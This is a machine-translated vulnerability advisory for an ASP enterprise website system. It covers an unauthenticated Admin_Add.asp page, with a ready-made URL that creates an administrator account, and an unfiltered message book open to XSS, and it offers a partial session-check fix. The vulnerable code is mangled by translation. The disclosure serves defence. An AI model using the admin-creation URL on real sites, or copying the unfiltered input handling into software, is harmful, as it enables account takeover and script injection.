Javasgod free enterprise website creation system without verification add administrator practice and message book XSS Vulnerability (including repair)

① Add an administrator without verification
② Message book XSS Vulnerability
Detailed Description: ① add an administrator without verification
Vulnerability file: Admin_Add.asp
Vulnerability code:
<! -- # Include file = ".../../config/conn. asp" -->
<! -- # Include file = "md5.asp" -->

<%
If request. QueryString ("action") = "save" then

Uid = replace (trim (Request ("uid ")),"'","")
Realname = replace (trim (Request ("realname ")),"'","")
Pwd1 = replace (trim (Request ("pwd1 ")),"'","")
Pwd2 = replace (trim (Request ("pwd2 ")),"'","")
Password = md5 (pwd1)

Cause: data is written directly without verification.

Scheme: Construct a URL

Http: // localhost/source/admin/Admin_Add.asp? Action = save & uid = test & realname = test & pwd1 = 123456 & pwd2 = 123456

In this way, you can add an administrator account whose account is test and password is 123456.
② Message book XSS Vulnerability
Vulnerability file: Message. asp
Vulnerability code:
If request. QueryString ("action") = "save" then
Username = trim (request ("username "))
Email = trim (request ("email "))
Tel = trim (request ("tel "))
Zhiwu = trim (request ("zhiwu "))
City = trim (request ("city "))
Qq = trim (request ("qq "))
Add = trim (request ("add "))
Title = trim (request ("title "))
Content = trim (request ("content "))
Messageip = Request. ServerVariables ("REMOTE_ADDR ")
Set rs = server. CreateObject ("adodb. recordset ")
Rs. open "select * from pai_message", conn, 1, 3

Cause: If not filtered, the backend can still execute

 

Proof of vulnerability:

The website is an official demonstration site and has the same vulnerability.

Repair solution:

Add judgment code
If session ("admin") = "" then
Response. Write "<script language = 'javascript '> alert ('network timed out or you have not logged on yet! '); Window. location. href = 'login. asp'; </script>"
Response. End
End if

Add and filter message books